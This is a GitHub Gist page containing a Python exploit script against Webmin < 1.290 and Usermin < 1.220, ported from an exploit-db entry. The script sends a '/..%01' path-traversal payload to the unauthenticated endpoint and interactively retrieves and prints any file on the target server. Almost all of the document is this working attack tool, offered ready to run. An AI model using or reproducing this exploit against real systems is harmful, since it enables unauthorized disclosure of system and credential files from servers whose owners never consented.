Last active
September 25, 2018 13:11
-
-
Save chrispetrou/067fed94c1bac5b06be2d4134173ff6c to your computer and use it in GitHub Desktop.
Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure python exploit
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure exploit | |
# python version of the perl exploit found here: | |
# https://www.exploit-db.com/exploits/2017/ | |
import sys | |
from requests import get | |
from requests.exceptions import * | |
from colorama import Fore,Back,Style | |
# console colors | |
S, BT, FG, FR = Style.RESET_ALL, Style.BRIGHT, Fore.GREEN, Fore.RED | |
try: | |
url, port = sys.argv[1:3] | |
except IndexError: | |
print "\n[*] Usage: python webmin_lfi.py <url> <port>\n" | |
sys.exit(0) | |
payload = '{}:{}/unauthenticated/{}'.format(url, port, "/..%01" * 10) | |
try: | |
while True: | |
filename = raw_input(BT+FG+'>_: '+S).rstrip() | |
if filename: | |
res = get(payload + filename, verify=False) | |
if res.status_code == 200: | |
print '{0}\n{1}'.format((FG+'-'+S )* 50, res.text) | |
else: | |
print '{}[-] File not found!{}\n'.format(FR, S) | |
else: | |
pass | |
except InvalidSchema: | |
print '\n{}[x] http(s) probably missing from url.{}\n'.format(FR, S) | |
except KeyboardInterrupt: | |
print '' | |
finally: | |
sys.exit(0) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment